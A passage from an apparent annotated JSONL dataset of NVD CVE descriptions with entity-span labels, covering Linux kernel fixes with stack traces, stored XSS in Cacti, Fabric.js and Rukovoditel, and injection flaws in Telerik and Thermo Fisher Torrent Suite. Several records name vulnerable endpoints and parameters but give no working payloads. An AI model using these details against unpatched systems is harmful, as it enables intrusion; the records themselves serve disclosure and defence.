kernel/entry/common.c:286 [inline]\n syscall_exit_to_user_mode+0x1a/0x30 kernel/entry/common.c:297\n do_syscall_64+0x4b/0x90 arch/x86/entry/common.c:86\n entry_SYSCALL_64_after_hwframe+0x72/0xdc\n\nvalue changed: 0x00000000 -> 0x00000001\n\nReported by Kernel Concurrency Sanitizer on:\nCPU: 0 PID: 4891 Comm: systemd-coredum Not tainted 6.4.0-rc5-01219-gfa0e21fa4443 #5\nHardware name: QEMU Standard PC (i440FX + PIIX, 1996), BIOS rel-1.16.0-0-gd239552ce722-prebuilt.qemu.org 04/01/2014", "spans": {"DOMAIN: rel-1.16.0-0-gd239552ce722-prebuilt.qemu.org": [[2273, 2317]], "FILEPATH: /unix/scm.c": [[568, 579], [615, 626]], "FILEPATH: /unix/af_unix.c": [[651, 666], [717, 732], [1342, 1357], [1389, 1404]], "FILEPATH: /x86/entry/common.c": [[1120, 1139], [1181, 1200], [1977, 1996]], "FILEPATH: /linux/resume_user_mode.h": [[1654, 1679]], "FILEPATH: /entry/common.c": [[1722, 1737], [1796, 1811], [1856, 1871], [1928, 1943]], "FILEPATH: /01/2014": [[2320, 2328]], "FILEPATH: socket.c": [[762, 770], [814, 822], [860, 868], [905, 913], [949, 957], [985, 993], [1030, 1038], [1086, 1094], [1441, 1449], [1480, 1488]], "FILEPATH: file_table.c": [[1517, 1529], [1557, 1569]], "FILEPATH: task_work.c": [[1608, 1619]], "SYSTEM: Linux kernel": [[7, 19]], "SYSTEM: systemd": [[2152, 2159]], "SYSTEM: QEMU": [[2228, 2232]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2023-54006"}}
{"text": "In the Linux kernel, the following vulnerability has been resolved:\n\nnet: dsa: avoid suspicious RCU usage for synced VLAN-aware MAC addresses\n\nWhen using the felix driver (the only one which supports UC filtering\nand MC filtering) as a DSA master for a random other DSA switch, one can\nsee the following stack trace when the downstream switch ports join a\nVLAN-aware bridge:\n\n=============================\nWARNING: suspicious RCU usage\n-----------------------------\nnet/8021q/vlan_core.c:238 suspicious rcu_dereference_protected() usage!\n\nstack backtrace:\nWorkqueue: dsa_ordered dsa_slave_switchdev_event_work\nCall trace:\n lockdep_rcu_suspicious+0x170/0x210\n vlan_for_each+0x8c/0x188\n dsa_slave_sync_uc+0x128/0x178\n __hw_addr_sync_dev+0x138/0x158\n dsa_slave_set_rx_mode+0x58/0x70\n __dev_set_rx_mode+0x88/0xa8\n dev_uc_add+0x74/0xa0\n dsa_port_bridge_host_fdb_add+0xec/0x180\n dsa_slave_switchdev_event_work+0x7c/0x1c8\n process_one_work+0x290/0x568\n\nWhat it's saying is that vlan_for_each() expects rtnl_lock() context and\nit's not getting it, when it's called from the DSA master's ndo_set_rx_mode().\n\nThe caller of that - dsa_slave_set_rx_mode() - is the slave DSA\ninterface's dsa_port_bridge_host_fdb_add() which comes from the deferred\ndsa_slave_switchdev_event_work().\n\nWe went to great lengths to avoid the rtnl_lock() context in that call\npath in commit 0faf890fc519 (\"net: dsa: drop rtnl_lock from\ndsa_slave_switchdev_event_work\"), and calling rtnl_lock() is simply not\nan option due to the possibility of deadlocking when calling\ndsa_flush_workqueue() from the call paths that do hold rtnl_lock() -\nbasically all of them.\n\nSo, when the DSA master calls vlan_for_each() from its ndo_set_rx_mode(),\nthe state of the 8021q driver on this device is really not protected\nfrom concurrent access by anything.\n\nLooking at net/8021q/, I don't think that vlan_info->vid_list was\nparticularly designed with RCU traversal in mind, so introducing an RCU\nread-side form of vlan_for_each() - vlan_for_each_rcu() - won't be so\neasy, and it also wouldn't be exactly what we need anyway.\n\nIn general I believe that the solution isn't in net/8021q/ anyway;\nvlan_for_each() is not cut out for this task. DSA doesn't need rtnl_lock()\nto be held per se - since it's not a netdev state change that we're\nblocking, but rather, just concurrent additions/removals to a VLAN list.\nWe don't even need sleepable context - the callback of vlan_for_each()\njust schedules deferred work.\n\nThe proposed escape is to remove the dependency on vlan_for_each() and\nto open-code a non-sleepable, rtnl-free alternative to that, based on\ncopies of the VLAN list modified from .ndo_vlan_rx_add_vid() and\n.ndo_vlan_rx_kill_vid().", "spans": {"FILEPATH: /8021q/vlan_core.c": [[469, 487]], "SYSTEM: Linux kernel": [[7, 19]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2023-54149"}}
{"text": "In the Linux kernel, the following vulnerability has been resolved:\n\neth: bnxt: do not update checksum in bnxt_xdp_build_skb()\n\nThe bnxt_rx_pkt() updates ip_summed value at the end if checksum offload\nis enabled.\nWhen the XDP-MB program is attached and it returns XDP_PASS, the\nbnxt_xdp_build_skb() is called to update skb_shared_info.\nThe main purpose of bnxt_xdp_build_skb() is to update skb_shared_info,\nbut it updates ip_summed value too if checksum offload is enabled.\nThis is actually duplicate work.\n\nWhen the bnxt_rx_pkt() updates ip_summed value, it checks if ip_summed\nis CHECKSUM_NONE or not.\nIt means that ip_summed should be CHECKSUM_NONE at this moment.\nBut ip_summed may already be updated to CHECKSUM_UNNECESSARY in the\nXDP-MB-PASS path.\nSo the by skb_checksum_none_assert() WARNS about it.\n\nThis is duplicate work and updating ip_summed in the\nbnxt_xdp_build_skb() is not needed.\n\nSplat looks like:\nWARNING: CPU: 3 PID: 5782 at ./include/linux/skbuff.h:5155 bnxt_rx_pkt+0x479b/0x7610 [bnxt_en]\nModules linked in: bnxt_re bnxt_en rdma_ucm rdma_cm iw_cm ib_cm ib_uverbs veth xt_nat xt_tcpudp xt_conntrack nft_chain_nat xt_MASQUERADE nf_]\nCPU: 3 UID: 0 PID: 5782 Comm: socat Tainted: G        W          6.14.0-rc4+ #27\nTainted: [W]=WARN\nHardware name: ASUS System Product Name/PRIME Z690-P D4, BIOS 0603 11/01/2021\nRIP: 0010:bnxt_rx_pkt+0x479b/0x7610 [bnxt_en]\nCode: 54 24 0c 4c 89 f1 4c 89 ff c1 ea 1f ff d3 0f 1f 00 49 89 c6 48 85 c0 0f 84 4c e5 ff ff 48 89 c7 e8 ca 3d a0 c8 e9 8f f4 ff ff <0f> 0b f\nRSP: 0018:ffff88881ba09928 EFLAGS: 00010202\nRAX: 0000000000000000 RBX: 00000000c7590303 RCX: 0000000000000000\nRDX: 1ffff1104e7d1610 RSI: 0000000000000001 RDI: ffff8881c91300b8\nRBP: ffff88881ba09b28 R08: ffff888273e8b0d0 R09: ffff888273e8b070\nR10: ffff888273e8b010 R11: ffff888278b0f000 R12: ffff888273e8b080\nR13: ffff8881c9130e00 R14: ffff8881505d3800 R15: ffff888273e8b000\nFS:  00007f5a2e7be080(0000) GS:ffff88881ba00000(0000) knlGS:0000000000000000\nCS:  0010 DS: 0000 ES: 0000 CR0: 0000000080050033\nCR2: 00007fff2e708ff8 CR3: 000000013e3b0000 CR4: 00000000007506f0\nPKRU: 55555554\nCall Trace:\n <IRQ>\n ? __warn+0xcd/0x2f0\n ? bnxt_rx_pkt+0x479b/0x7610\n ? report_bug+0x326/0x3c0\n ? handle_bug+0x53/0xa0\n ? exc_invalid_op+0x14/0x50\n ? asm_exc_invalid_op+0x16/0x20\n ? bnxt_rx_pkt+0x479b/0x7610\n ? bnxt_rx_pkt+0x3e41/0x7610\n ? __pfx_bnxt_rx_pkt+0x10/0x10\n ? napi_complete_done+0x2cf/0x7d0\n __bnxt_poll_work+0x4e8/0x1220\n ? __pfx___bnxt_poll_work+0x10/0x10\n ? __pfx_mark_lock.part.0+0x10/0x10\n bnxt_poll_p5+0x36a/0xfa0\n ? __pfx_bnxt_poll_p5+0x10/0x10\n __napi_poll.constprop.0+0xa0/0x440\n net_rx_action+0x899/0xd00\n...\n\nFollowing ping.py patch adds xdp-mb-pass case. so ping.py is going\nto be able to reproduce this issue.", "spans": {"FILEPATH: /include/linux/skbuff.h": [[946, 969]], "FILEPATH: /01/2021": [[1321, 1329]], "FILEPATH: ping.py": [[2641, 2648], [2681, 2688]], "SYSTEM: Linux kernel": [[7, 19]], "ORGANIZATION: ASUS": [[1267, 1271]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2025-21960"}}
{"text": "An issue was discovered in Progress Telerik UI for ASP.NET AJAX 2021.1.224. It allows unauthorized access to MicrosoftAjax.js through the Telerik.Web.UI.WebResource.axd file. This may allow the attacker to gain unauthorized access to the server and execute code. To exploit, one must use the parameter _TSM_HiddenField_ and inject a command at the end of the URI. NOTE: the vendor states that this is not a vulnerability. The request's output does not indicate that a \"true\" command was executed on the server, and the request's output does not leak any private source code or data from the server", "spans": {"FILEPATH: MicrosoftAjax.js": [[109, 125]], "ORGANIZATION: Progress": [[27, 35]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2021-28141"}}
{"text": "Vulnerability in the Oracle Outside In Technology product of Oracle Fusion Middleware (component: Outside In Filters). The supported version that is affected is 8.5.5. Easily exploitable vulnerability allows unauthenticated attacker with network access via HTTP to compromise Oracle Outside In Technology. Successful attacks of this vulnerability can result in unauthorized ability to cause a hang or frequently repeatable crash (complete DOS) of Oracle Outside In Technology. Note: Outside In Technology is a suite of software development kits (SDKs). The protocol and CVSS Base Score depend on the software that uses Outside In Technology. The CVSS score assumes that the software passes data received over a network directly to Outside In Technology, but if data is not received over a network the CVSS score may be lower. CVSS 3.1 Base Score 7.5 (Availability impacts). CVSS Vector: (CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H).", "spans": {"ORGANIZATION: Oracle": [[21, 27], [61, 67], [276, 282], [447, 453]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2021-2449"}}
{"text": "Cacti is an open source operational monitoring and fault management framework. Affected versions are subject to a Stored Cross-Site-Scripting (XSS) Vulnerability which allows an authenticated user to poison data stored in the _cacti_'s database. These data will be viewed by administrative _cacti_ accounts and execute JavaScript code in the victim's browser at view-time. The script under `reports_admin.php` displays reporting information about graphs, devices, data sources etc. _CENSUS_ found that an adversary that is able to configure a malicious device name, related to a graph attached to a report, can deploy a stored XSS attack against any super user who has privileges of viewing the `reports_admin.php` page, such as administrative accounts. A user that possesses the _General Administration>Sites/Devices/Data_ permissions can configure the device names in _cacti_. This configuration occurs through `http://<HOST>/cacti/host.php`, while the rendered malicious payload is exhibited at `http://<HOST>/cacti/reports_admin.php` when the a graph with the maliciously altered device name is linked to the report. This issue has been addressed in version 1.2.25. Users are advised to upgrade. Users unable to upgrade should manually filter HTML output.", "spans": {"FILEPATH: /Devices/Data_": [[809, 823]], "FILEPATH: /cacti/host.php": [[927, 942]], "FILEPATH: /cacti/reports_admin.php": [[1012, 1036]], "FILEPATH: reports_admin.php": [[391, 408], [696, 713]], "VULNERABILITY: stored XSS": [[620, 630]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2023-39511"}}
{"text": "Redis is an open source, in-memory database that persists on disk. In affected versions an integer overflow bug in Redis can be exploited to corrupt the heap and potentially result with remote code execution. The vulnerability involves changing the default proto-max-bulk-len and client-query-buffer-limit configuration parameters to very large values and constructing specially crafted very large stream elements. The problem is fixed in Redis 6.2.6, 6.0.16 and 5.0.14. For users unable to upgrade an additional workaround to mitigate the problem without patching the redis-server executable is to prevent users from modifying the proto-max-bulk-len configuration parameter. This can be done using ACL to restrict unprivileged users from using the CONFIG SET command.", "spans": {"SYSTEM: Redis": [[0, 5], [115, 120], [439, 444]], "VULNERABILITY: remote code execution": [[186, 207]], "VULNERABILITY: integer overflow": [[91, 107]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2021-32627"}}
{"text": "An issue was discovered in the Thermo Fisher Torrent Suite Django application 5.18.1. A remote code execution vulnerability exists in the network configuration functionality, stemming from insufficient input validation when processing network configuration parameters through administrative endpoints. The application allows administrators to modify the server's network configuration through the Django application. This configuration is processed by Bash scripts (TSsetnoproxy and TSsetproxy) that write user-controlled data directly to environment variables without proper sanitization. After updating environment variables, the scripts execute a source command on /etc/environment; if an attacker injects malicious data into environment variables, this command can enable arbitrary command execution. The vulnerability begins with the /admin/network endpoint, which passes user-supplied form data as arguments to subprocess.Popen calls. The user-supplied input is then used to update environment variables in TSsetnoproxy and TSsetproxy, and finally source $environment is executed.", "spans": {"FILEPATH: /etc/environment": [[668, 684]], "FILEPATH: /admin/network": [[839, 853]], "VULNERABILITY: remote code execution": [[88, 109]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2025-54306"}}
{"text": "Stored cross-site scripting (XSS) vulnerability in the Copyright Text field found in the Application page under the Configuration menu in Rukovoditel 2.4.1 allows remote attackers to inject arbitrary web script or HTML via a crafted website name by doing an authenticated POST HTTP request to /rukovoditel_2.4.1/index.php?module=configuration/save&redirect_to=configuration/application.", "spans": {"FILEPATH: /rukovoditel_2.4.1/index.php": [[293, 321]], "VULNERABILITY: cross-site scripting": [[7, 27]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2020-18469"}}
{"text": "In the Linux kernel, the following vulnerability has been resolved:\n\nibmvnic: fix race between xmit and reset\n\nThere is a race between reset and the transmit paths that can lead to\nibmvnic_xmit() accessing an scrq after it has been freed in the reset\npath. It can result in a crash like:\n\n\tKernel attempted to read user page (0) - exploit attempt? (uid: 0)\n\tBUG: Kernel NULL pointer dereference on read at 0x00000000\n\tFaulting instruction address: 0xc0080000016189f8\n\tOops: Kernel access of bad area, sig: 11 [#1]\n\t...\n\tNIP [c0080000016189f8] ibmvnic_xmit+0x60/0xb60 [ibmvnic]\n\tLR [c000000000c0046c] dev_hard_start_xmit+0x11c/0x280\n\tCall Trace:\n\t[c008000001618f08] ibmvnic_xmit+0x570/0xb60 [ibmvnic] (unreliable)\n\t[c000000000c0046c] dev_hard_start_xmit+0x11c/0x280\n\t[c000000000c9cfcc] sch_direct_xmit+0xec/0x330\n\t[c000000000bfe640] __dev_xmit_skb+0x3a0/0x9d0\n\t[c000000000c00ad4] __dev_queue_xmit+0x394/0x730\n\t[c008000002db813c] __bond_start_xmit+0x254/0x450 [bonding]\n\t[c008000002db8378] bond_start_xmit+0x40/0xc0 [bonding]\n\t[c000000000c0046c] dev_hard_start_xmit+0x11c/0x280\n\t[c000000000c00ca4] __dev_queue_xmit+0x564/0x730\n\t[c000000000cf97e0] neigh_hh_output+0xd0/0x180\n\t[c000000000cfa69c] ip_finish_output2+0x31c/0x5c0\n\t[c000000000cfd244] __ip_queue_xmit+0x194/0x4f0\n\t[c000000000d2a3c4] __tcp_transmit_skb+0x434/0x9b0\n\t[c000000000d2d1e0] __tcp_retransmit_skb+0x1d0/0x6a0\n\t[c000000000d2d984] tcp_retransmit_skb+0x34/0x130\n\t[c000000000d310e8] tcp_retransmit_timer+0x388/0x6d0\n\t[c000000000d315ec] tcp_write_timer_handler+0x1bc/0x330\n\t[c000000000d317bc] tcp_write_timer+0x5c/0x200\n\t[c000000000243270] call_timer_fn+0x50/0x1c0\n\t[c000000000243704] __run_timers.part.0+0x324/0x460\n\t[c000000000243894] run_timer_softirq+0x54/0xa0\n\t[c000000000ea713c] __do_softirq+0x15c/0x3e0\n\t[c000000000166258] __irq_exit_rcu+0x158/0x190\n\t[c000000000166420] irq_exit+0x20/0x40\n\t[c00000000002853c] timer_interrupt+0x14c/0x2b0\n\t[c000000000009a00] decrementer_common_virt+0x210/0x220\n\t--- interrupt: 900 at plpar_hcall_norets_notrace+0x18/0x2c\n\nThe immediate cause of the crash is the access of tx_scrq in the following\nsnippet during a reset, where the tx_scrq can be either NULL or an address\nthat will soon be invalid:\n\n\tibmvnic_xmit()\n\t{\n\t\t...\n\t\ttx_scrq = adapter->tx_scrq[queue_num];\n\t\ttxq = netdev_get_tx_queue(netdev, queue_num);\n\t\tind_bufp = &tx_scrq->ind_buf;\n\n\t\tif (test_bit(0, &adapter->resetting)) {\n\t\t...\n\t}\n\nBut beyond that, the call to ibmvnic_xmit() itself is not safe during a\nreset and the reset path attempts to avoid this by stopping the queue in\nibmvnic_cleanup(). However just after the queue was stopped, an in-flight\nibmvnic_complete_tx() could have restarted the queue even as the reset is\nprogressing.\n\nSince the queue was restarted we could get a call to ibmvnic_xmit() which\ncan then access the bad tx_scrq (or other fields).\n\nWe cannot however simply have ibmvnic_complete_tx() check the ->resetting\nbit and skip starting the queue. This can race at the \"back-end\" of a good\nreset which just restarted the queue but has not cleared the ->resetting\nbit yet. If we skip restarting the queue due to ->resetting being true,\nthe queue would remain stopped indefinitely potentially leading to transmit\ntimeouts.\n\nIOW ->resetting is too broad for this purpose. Instead use a new flag\nthat indicates whether or not the queues are active. Only the open/\nreset paths control when the queues are active. ibmvnic_complete_tx()\nand others wake up the queue only if the queue is marked active.\n\nSo we will have:\n\tA. reset/open thread in ibmvnic_cleanup() and __ibmvnic_open()\n\n\t\t->resetting = true\n\t\t->tx_queues_active = false\n\t\tdisable tx queues\n\t\t...\n\t\t->tx_queues_active = true\n\t\tstart tx queues\n\n\tB. Tx interrupt in ibmvnic_complete_tx():\n\n\t\tif (->tx_queues_active)\n\t\t\tnetif_wake_subqueue();\n\nTo ensure that ->tx_queues_active and state of the queues are consistent,\nwe need a lock which:\n\n\t- must also be taken in the interrupt path (ibmvnic_complete_tx())\n\t- shared across the multiple\n---truncated---", "spans": {"SYSTEM: Linux kernel": [[7, 19]], "VULNERABILITY: NULL pointer dereference": [[370, 394]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2022-49201"}}
{"text": "Vulnerability in the Java SE, Java SE Embedded product of Oracle Java SE (component: Serialization). Supported versions that are affected are Java SE: 7u241, 8u231, 11.0.5 and 13.0.1; Java SE Embedded: 8u231. Difficult to exploit vulnerability allows unauthenticated attacker with network access via multiple protocols to compromise Java SE, Java SE Embedded. Successful attacks of this vulnerability can result in takeover of Java SE, Java SE Embedded. Note: This vulnerability applies to Java deployments, typically in clients running sandboxed Java Web Start applications or sandboxed Java applets (in Java SE 8), that load and run untrusted code (e.g., code that comes from the internet) and rely on the Java sandbox for security. This vulnerability can also be exploited by using APIs in the specified Component, e.g., through a web service which supplies data to the APIs. CVSS v3.0 Base Score 8.1 (Confidentiality, Integrity and Availability impacts). CVSS Vector: (CVSS:3.0/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H).", "spans": {"SYSTEM: Java": [[21, 25], [30, 34], [65, 69], [142, 146], [184, 188], [333, 337], [342, 346], [427, 431], [436, 440], [490, 494], [547, 551], [588, 592], [605, 609], [708, 712]], "ORGANIZATION: Oracle": [[58, 64]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2020-2604"}}
{"text": "In the Linux kernel, the following vulnerability has been resolved:\n\nnet/smc: avoid data corruption caused by decline\n\nWe found a data corruption issue during testing of SMC-R on Redis\napplications.\n\nThe benchmark has a low probability of reporting a strange error as\nshown below.\n\n\"Error: Protocol error, got \"\\xe2\" as reply type byte\"\n\nFinally, we found that the retrieved error data was as follows:\n\n0xE2 0xD4 0xC3 0xD9 0x04 0x00 0x2C 0x20 0xA6 0x56 0x00 0x16 0x3E 0x0C\n0xCB 0x04 0x02 0x01 0x00 0x00 0x20 0x00 0x00 0x00 0x00 0x00 0x00 0x00\n0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0xE2\n\nIt is quite obvious that this is a SMC DECLINE message, which means that\nthe applications received SMC protocol message.\nWe found that this was caused by the following situations:\n\nclient                  server\n        ¦  clc proposal\n        ------------->\n        ¦  clc accept\n        <-------------\n        ¦  clc confirm\n        ------------->\nwait llc confirm\n\t\t\tsend llc confirm\n        ¦failed llc confirm\n        ¦   x------\n(after 2s)timeout\n                        wait llc confirm rsp\n\nwait decline\n\n(after 1s) timeout\n                        (after 2s) timeout\n        ¦   decline\n        -------------->\n        ¦   decline\n        <--------------\n\nAs a result, a decline message was sent in the implementation, and this\nmessage was read from TCP by the already-fallback connection.\n\nThis patch double the client timeout as 2x of the server value,\nWith this simple change, the Decline messages should never cross or\ncollide (during Confirm link timeout).\n\nThis issue requires an immediate solution, since the protocol updates\ninvolve a more long-term solution.", "spans": {"SYSTEM: Linux kernel": [[7, 19]], "SYSTEM: Redis": [[179, 184]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2023-52775"}}
{"text": "js-stellar-sdk is a Javascript library for communicating with a Stellar Horizon server. The `Utils.readChallengeTx` function used in SEP-10 Stellar Web Authentication states in its function documentation that it reads and validates the challenge transaction including verifying that the `serverAccountID` has signed the transaction. In js-stellar-sdk before version 8.2.3, the function does not verify that the server has signed the transaction. Applications that also used `Utils.verifyChallengeTxThreshold` or `Utils.verifyChallengeTxSigners` to verify the signatures including the server signature on the challenge transaction are unaffected as those functions verify the server signed the transaction. Applications calling `Utils.readChallengeTx` should update to version 8.2.3, the first version with a patch for this vulnerability, to ensure that the challenge transaction is completely valid and signed by the server creating the challenge transaction.", "spans": {}, "info": {"source": "nvd_v2", "cve_id": "CVE-2021-32738"}}
{"text": "TensorFlow is an end-to-end open source platform for machine learning. An attacker can cause a runtime division by zero error and denial of service in `tf.raw_ops.QuantizedBatchNormWithGlobalNormalization`. This is because the implementation(https://github.com/tensorflow/tensorflow/blob/6f26b3f3418201479c264f2a02000880d8df151c/tensorflow/core/kernels/quantized_add_op.cc#L289-L295) computes a modulo operation without validating that the divisor is not zero. Since `vector_num_elements` is determined based on input shapes(https://github.com/tensorflow/tensorflow/blob/6f26b3f3418201479c264f2a02000880d8df151c/tensorflow/core/kernels/quantized_add_op.cc#L522-L544), a user can trigger scenarios where this quantity is 0. The fix will be included in TensorFlow 2.5.0. We will also cherrypick this commit on TensorFlow 2.4.2, TensorFlow 2.3.3, TensorFlow 2.2.3 and TensorFlow 2.1.4, as these are also affected and still in supported range.", "spans": {"URL: https://github.com/tensorflow/tensorflow/blob/6f26b3f3418201479c264f2a02000880d8df151c/tensorflow/core/kernels/quantized_add_op.cc#L289-L295": [[242, 382]], "URL: https://github.com/tensorflow/tensorflow/blob/6f26b3f3418201479c264f2a02000880d8df151c/tensorflow/core/kernels/quantized_add_op.cc#L522-L544": [[525, 665]], "VULNERABILITY: denial of service": [[130, 147]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2021-29549"}}
{"text": "In the Linux kernel, the following vulnerability has been resolved:\n\nx86/lib: Revert to _ASM_EXTABLE_UA() for {get,put}_user() fixups\n\nDuring memory error injection test on kernels >= v6.4, the kernel panics\nlike below. However, this issue couldn't be reproduced on kernels <= v6.3.\n\n  mce: [Hardware Error]: CPU 296: Machine Check Exception: f Bank 1: bd80000000100134\n  mce: [Hardware Error]: RIP 10:<ffffffff821b9776> {__get_user_nocheck_4+0x6/0x20}\n  mce: [Hardware Error]: TSC 411a93533ed ADDR 346a8730040 MISC 86\n  mce: [Hardware Error]: PROCESSOR 0:a06d0 TIME 1706000767 SOCKET 1 APIC 211 microcode 80001490\n  mce: [Hardware Error]: Run the above through 'mcelog --ascii'\n  mce: [Hardware Error]: Machine check: Data load in unrecoverable area of kernel\n  Kernel panic - not syncing: Fatal local machine check\n\nThe MCA code can recover from an in-kernel #MC if the fixup type is\nEX_TYPE_UACCESS, explicitly indicating that the kernel is attempting to\naccess userspace memory. However, if the fixup type is EX_TYPE_DEFAULT\nthe only thing that is raised for an in-kernel #MC is a panic.\n\nex_handler_uaccess() would warn if users gave a non-canonical addresses\n(with bit 63 clear) to {get, put}_user(), which was unexpected.\n\nTherefore, commit\n\n  b19b74bc99b1 (\"x86/mm: Rework address range check in get_user() and put_user()\")\n\nreplaced _ASM_EXTABLE_UA() with _ASM_EXTABLE() for {get, put}_user()\nfixups. However, the new fixup type EX_TYPE_DEFAULT results in a panic.\n\nCommit\n\n  6014bc27561f (\"x86-64: make access_ok() independent of LAM\")\n\nadded the check gp_fault_address_ok() right before the WARN_ONCE() in\nex_handler_uaccess() to not warn about non-canonical user addresses due\nto LAM.\n\nWith that in place, revert back to _ASM_EXTABLE_UA() for {get,put}_user()\nexception fixups in order to be able to handle in-kernel MCEs correctly\nagain.\n\n  [ bp: Massage commit message. ]", "spans": {"SYSTEM: Linux kernel": [[7, 19]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2024-26674"}}
{"text": "Fabric.js is a Javascript HTML5 canvas library. Prior to version 7.2.0, Fabric.js applies `escapeXml()` to text content during SVG export (`src/shapes/Text/TextSVGExportMixin.ts:186`) but fails to apply it to other user-controlled string values that are interpolated into SVG attribute markup. When attacker-controlled JSON is loaded via `loadFromJSON()` and later exported via `toSVG()`, the unescaped values break out of XML attributes and inject arbitrary SVG elements including event handlers. Any application that accepts user-supplied JSON (via `loadFromJSON()`, collaborative sharing, import features, CMS plugins) and renders the `toSVG()` output in a browser context (SVG preview, export download rendered in-page, email template, embed) is vulnerable to stored XSS. An attacker can execute arbitrary JavaScript in the victim's browser session. Version 7.2.0 contains a fix.", "spans": {"FILEPATH: /shapes/Text/TextSVGExportMixin.ts": [[143, 177]], "FILEPATH: Fabric.js": [[0, 9], [72, 81]], "VULNERABILITY: stored XSS": [[764, 774]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2026-27013"}}
{"text": "In the Linux kernel, the following vulnerability has been resolved:\n\nnfsd: return -EINVAL when namelen is 0\n\nWhen we have a corrupted main.sqlite in /var/lib/nfs/nfsdcld/, it may\nresult in namelen being 0, which will cause memdup_user() to return\nZERO_SIZE_PTR.\nWhen we access the name.data that has been assigned the value of\nZERO_SIZE_PTR in nfs4_client_to_reclaim(), null pointer dereference is\ntriggered.\n\n[ T1205] ==================================================================\n[ T1205] BUG: KASAN: null-ptr-deref in nfs4_client_to_reclaim+0xe9/0x260\n[ T1205] Read of size 1 at addr 0000000000000010 by task nfsdcld/1205\n[ T1205]\n[ T1205] CPU: 11 PID: 1205 Comm: nfsdcld Not tainted 5.10.0-00003-g2c1423731b8d #406\n[ T1205] Hardware name: QEMU Standard PC (i440FX + PIIX, 1996), BIOS ?-20190727_073836-buildvm-ppc64le-16.ppc.fedoraproject.org-3.fc31 04/01/2014\n[ T1205] Call Trace:\n[ T1205]  dump_stack+0x9a/0xd0\n[ T1205]  ? nfs4_client_to_reclaim+0xe9/0x260\n[ T1205]  __kasan_report.cold+0x34/0x84\n[ T1205]  ? nfs4_client_to_reclaim+0xe9/0x260\n[ T1205]  kasan_report+0x3a/0x50\n[ T1205]  nfs4_client_to_reclaim+0xe9/0x260\n[ T1205]  ? nfsd4_release_lockowner+0x410/0x410\n[ T1205]  cld_pipe_downcall+0x5ca/0x760\n[ T1205]  ? nfsd4_cld_tracking_exit+0x1d0/0x1d0\n[ T1205]  ? down_write_killable_nested+0x170/0x170\n[ T1205]  ? avc_policy_seqno+0x28/0x40\n[ T1205]  ? selinux_file_permission+0x1b4/0x1e0\n[ T1205]  rpc_pipe_write+0x84/0xb0\n[ T1205]  vfs_write+0x143/0x520\n[ T1205]  ksys_write+0xc9/0x170\n[ T1205]  ? __ia32_sys_read+0x50/0x50\n[ T1205]  ? ktime_get_coarse_real_ts64+0xfe/0x110\n[ T1205]  ? ktime_get_coarse_real_ts64+0xa2/0x110\n[ T1205]  do_syscall_64+0x33/0x40\n[ T1205]  entry_SYSCALL_64_after_hwframe+0x67/0xd1\n[ T1205] RIP: 0033:0x7fdbdb761bc7\n[ T1205] Code: 0f 00 f7 d8 64 89 02 48 c7 c0 ff ff ff ff eb b7 0f 1f 00 f3 0f 1e fa 64 8b 04 25 18 00 00 00 85 c0 75 10 b8 01 00 00 00 0f 05 <48> 3d 00 f0 ff ff 77 514\n[ T1205] RSP: 002b:00007fff8c4b7248 EFLAGS: 00000246 ORIG_RAX: 0000000000000001\n[ T1205] RAX: ffffffffffffffda RBX: 000000000000042b RCX: 00007fdbdb761bc7\n[ T1205] RDX: 000000000000042b RSI: 00007fff8c4b75f0 RDI: 0000000000000008\n[ T1205] RBP: 00007fdbdb761bb0 R08: 0000000000000000 R09: 0000000000000001\n[ T1205] R10: 0000000000000000 R11: 0000000000000246 R12: 000000000000042b\n[ T1205] R13: 0000000000000008 R14: 00007fff8c4b75f0 R15: 0000000000000000\n[ T1205] ==================================================================\n\nFix it by checking namelen.", "spans": {"DOMAIN: -buildvm-ppc64le-16.ppc.fedoraproject.org": [[809, 850]], "FILEPATH: /var/lib/nfs/nfsdcld": [[149, 169]], "FILEPATH: /01/2014": [[860, 868]], "SYSTEM: Linux kernel": [[7, 19]], "SYSTEM: QEMU": [[747, 751]], "VULNERABILITY: null pointer dereference": [[370, 394]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2024-47692"}}
{"text": "Cleartext Storage of Sensitive Information vulnerability in Mitsubishi Electric MELSEC iQ-F series FX5U(C) CPU all versions, Mitsubishi Electric MELSEC iQ-F series FX5UJ CPU all versions, Mitsubishi Electric MELSEC iQ-R series R00/01/02CPU all versions, Mitsubishi Electric MELSEC iQ-R series R04/08/16/32/120(EN)CPU all versions, Mitsubishi Electric MELSEC iQ-R series R08/16/32/120SFCPU all versions, Mitsubishi Electric MELSEC iQ-R series R08/16/32/120PCPU all versions, Mitsubishi Electric MELSEC iQ-R series R08/16/32/120PSFCPU all versions, Mitsubishi Electric MELSEC iQ-R series RJ71C24(-R2/R4) all versions, Mitsubishi Electric MELSEC iQ-R series RJ71EN71 all versions, Mitsubishi Electric MELSEC iQ-R series RJ71GF11-T2 all versions, Mitsubishi Electric MELSEC iQ-R series RJ71GP21(S)-SX all versions, Mitsubishi Electric MELSEC iQ-R series RJ72GF15-T2 all versions, Mitsubishi Electric MELSEC Q series Q03UDECPU all versions, Mitsubishi Electric MELSEC Q series Q04/06/10/13/20/26/50/100UDEHCPU all versions, Mitsubishi Electric MELSEC Q series Q03/04/06/13/26UDVCPU all versions, Mitsubishi Electric MELSEC Q series Q04/06/13/26UDPVCPU all versions, Mitsubishi Electric MELSEC Q series QJ71C24N(-R2/R4) all versions, Mitsubishi Electric MELSEC Q series QJ71E71-100 all versions, Mitsubishi Electric MELSEC L series L02/06/26CPU(-P) all versions, Mitsubishi Electric MELSEC L series 